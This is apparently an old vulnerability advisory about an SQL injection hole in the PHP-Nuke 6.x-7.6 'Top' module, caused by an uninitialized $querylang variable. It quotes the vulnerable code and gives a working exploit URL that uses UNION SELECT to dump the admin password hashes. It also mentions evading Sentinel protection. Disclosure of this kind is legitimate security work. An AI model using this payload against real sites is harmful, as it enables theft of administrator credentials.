Critical Sql Injection in PhpNuke 6.x-7.6 Top module

[LeePuentes]

Php-Nuke is a popular opensource content management system, written in php by
Francisco Burzi. This CMS is used on many thousands websites, because it's
freeware, easy to install and manage and has broad set of features.

Homepage: http://phpnuke.org


Like title says, this time the sql injection security hole have been found in
phpnuke "Top" module. Lets look @ source code of the phpnuke 7.6 top module
index file (/modules/Top/index.php) ~ line 186:

[original source code]

/* Top 10 Polls */
$result8 = $db->sql_query("select * from ".$prefix."_poll_desc $queryplang");

if ($db->sql_numrows($result8)>0) {
echo "
"
."$top "._VOTEDPOLLS."
";
$lugar = 1;

$result9 = sql_query("SELECT pollID, pollTitle, timeStamp, voters FROM ".$prefix."_poll_desc
$querylang order by voters DESC limit 0,$top", $dbi);

$counter = 0;

[/original source code]

And what's the problem? It appears, that variable "$querylang" is uninitialized. So, if we
will "poison" php variable space through GET/POST/COOKIE, then sql query manipulation is
possible.

[real life exploit]

http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION
%20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors/*

[/real life exploit]


... and as result we can see md5 hashes of all the admin passwords in place, where normally
top 10 votes can be seen
Of course, mysql version 4.x must be used with enabled union functionality. And if there are
Sentinel or similar protection systems installed, additional measures must be used to evade them. Though the sentinel system seems effective as of now but its not really sure how long it will hold on to the SQL-Injection as something new is reported to be out soon to crack the Sentinel systems security of the blocking throught .htaccess.

Sources: www.critical-error.com